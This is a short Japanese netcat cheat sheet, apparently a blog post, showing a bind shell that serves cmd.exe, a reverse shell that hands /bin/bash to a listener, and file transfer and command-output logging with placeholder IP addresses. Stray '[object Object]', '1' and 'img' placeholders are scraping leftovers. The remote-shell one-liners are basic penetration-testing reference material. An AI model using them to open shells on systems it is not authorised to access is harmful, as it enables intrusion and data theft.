[object Object]

ncを使ったバインドシェル他

バインドシェル

バインドシェルは対象のportが空いてないと使えないことが難しいところ...

ホスト

> nc.exe -lvp 5555 -e cmd.exe
1

-l: 待ち受け -v: vervose -p: port

img

クライアント(対象)

$ nc xxx.xxx.xxx.xxx 5555
1

img

リバースシェル

ホスト

$ nc -lvp 5555
1

img

クライアント(対象)

$ nc xxx.xxx.xx.xx 5555 -e /bin/bash
1

img

ファイル転送

送る側

ポートを開いて受付をまつ

nc -lvp 4444 < hoge.txt
1

受け取る側

nc xxx.xxx.xxx.xxx 4444 > out.txt
1

コマンドロギング

ログ受け取り側

nc -lp 9999 >> log.txt
1

送る側(コマンドの実行結果)

date | nc -q 1 xxx.xxx.xxx.xxx 9999 
1